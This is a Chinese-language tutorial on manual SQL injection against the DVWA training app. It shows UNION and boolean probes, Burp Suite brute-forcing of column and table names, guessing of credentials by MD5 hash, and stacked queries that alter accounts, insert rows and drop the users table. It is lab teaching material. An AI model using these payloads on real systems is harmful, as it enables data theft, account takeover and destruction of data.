SQL手工注入探索旅程(一)
SQL手工注入探索旅程(一)
当无权读取information_schema库或者被拒绝union,order by这些语句
通过试验去猜测数据库信息进而总结归纳出结果
设置dvwa安全等级为low
|
我们在输入框中输入 一下指令:
' union select null,user()--
#使用MySQL数据库的user()函数查看当前使用者
得知是root(此root为数据库的root,并非系统下的root,那么便有权读取information_schema数据库的内容
如果我们注入的web服务器使用者不是root,那么我们通过各种猜测去判断
在hackbar中修改变量id的值为:
' amd a is null--
#系统报错,则表示a列不存在,若没有报错,则表示a列存在
通过这种方式猜测数据库当前表中的列名
但是人为通过这种方式效率太低,我们使用kali中的字典进行爆破
因为这些字典中有些行开头有#,所以我们使用将其#去掉,然后存放在一个txt文件中
我们使用Burpsuite进行字典爆破,通过代理获取的信息将其发送到intruder中
清除原GET请求中的变量
选中需要改变的列名,点击add将其添加到变量中,变量值即为刚刚字典中的字段
加载刚刚制造出来的字典
去掉payload Encoding
开始爆破
爆破的出的目标数据库中列名
猜测表名
通过burpsuite进行字典爆破判断表明
目前我们可以得知改数据库有一个表users,users表有个列为user
猜库里其他表
' and (select count(*) from table)>0--+
猜列表对应关系:
' and users.user is null--+
猜字段内容
' or user=' admin
' or user like '%a%
猜账户对应密码
' or user=' admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
当数据库可写时
我们去修改其数据库账户信息
'; update user set user=' abc ' where user=' admin
#将用户admin的名称改为abc
' ; update user set passwd=' csacsd2134254' where passwd=' sfesfedfv34xvdd24'
#将用户的passwd的密码修改
'; INSERT INTO users (' user_id',' first_name',' last_name','
user','password','avatar') VALUES
(‘35',‘a',‘b',‘c','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+
'; DROP TABLE users; --